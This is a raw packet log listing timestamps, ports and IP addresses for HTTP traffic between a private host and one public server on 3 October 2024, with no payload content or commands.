Oct 3, 2024 05:02:58.131987095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.132004976 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.132020950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.132046938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.132057905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.132078886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.132091045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.132107019 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.132123947 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.132144928 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.132155895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.132167101 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.132189989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.132206917 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.132240057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.132981062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133030891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133047104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133066893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133088112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133101940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133116961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133135080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133152008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133169889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133191109 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133209944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133232117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133244038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133265018 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133277893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133300066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133311033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133328915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133344889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133363962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133378983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133398056 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133410931 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133439064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133444071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133459091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133476973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133497953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133514881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133527040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133572102 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133748055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133785009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133805990 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133816957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133845091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133850098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133862972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133882999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133903027 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133915901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133938074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133949041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.133966923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.133981943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134000063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134015083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134042025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134047985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134059906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134079933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134102106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134113073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134138107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134145021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134175062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134177923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134196043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134212017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134231091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134244919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134265900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134300947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134612083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134645939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134677887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134679079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134696960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134711981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134732008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134744883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134768963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134783030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134793043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134867907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134890079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134902954 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134926081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134934902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.134954929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.134983063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221225023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221275091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221309900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221343040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221395969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221429110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221462965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221462011 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221462965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221462965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221462965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221494913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221528053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221540928 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221540928 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221541882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221560001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221585035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221592903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221622944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221626043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221641064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221657991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221679926 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221690893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221703053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221724033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221744061 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221759081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221771002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221812010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.221848011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.221996069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222029924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222028017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222062111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222095966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222095966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222095966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222122908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222127914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222141027 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222161055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222183943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222194910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222207069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222229004 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222254038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222261906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222285986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222292900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222315073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222326994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222343922 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222378016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222636938 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222687006 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222719908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222752094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222785950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222819090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222820044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222820044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222820997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222820997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222851992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222884893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222901106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222901106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222901106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222920895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.222932100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.222975016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223186016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223217964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223239899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223249912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223264933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223300934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223305941 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223334074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223354101 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223366022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223397970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223418951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223434925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223467112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223484039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223500013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223521948 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223534107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223551035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223567009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223573923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223599911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223617077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223633051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223650932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223666906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223684072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223699093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.223721027 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.223743916 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224153996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224188089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224209070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224220037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224231958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224272013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224272013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224307060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224324942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224339008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224365950 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224370003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224396944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224401951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224416971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224436045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224455118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224467993 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224483013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224500895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224517107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224533081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224550962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224565983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224582911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224598885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224618912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224631071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224647045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224663973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224689960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224697113 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.224709988 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.224752903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.225403070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225433111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225449085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225455999 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.225466013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225474119 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.225481033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225496054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225500107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.225512028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225526094 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.225528002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225542068 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225558043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225559950 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.225573063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225584030 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.225589037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225604057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225606918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.225619078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225634098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225639105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.225650072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.225676060 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.225694895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.226263046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226279974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226298094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226304054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226308107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.226309061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226325989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226327896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.226342916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226351023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.226360083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226373911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226388931 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.226389885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226404905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226407051 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.226421118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226434946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226439953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.226449966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226464987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226469994 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.226480007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.226492882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.226526022 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.226557970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.227137089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.227153063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.227168083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.227183104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.227185965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.227197886 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.227212906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.227217913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.227232933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.227238894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.227248907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.227264881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.227274895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.227288008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.227308989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.227340937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.313579082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.313764095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.313790083 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.313802004 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.313837051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.313860893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.313860893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.313886881 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.313889980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.313924074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.313950062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.313957930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.313978910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.313990116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314013004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314024925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314035892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314057112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314078093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314090014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314105034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314136028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314146042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314168930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314189911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314202070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314219952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314234018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314249039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.314265966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.314296007 CEST	49705	80	192.168.2.5	172.67.159.45
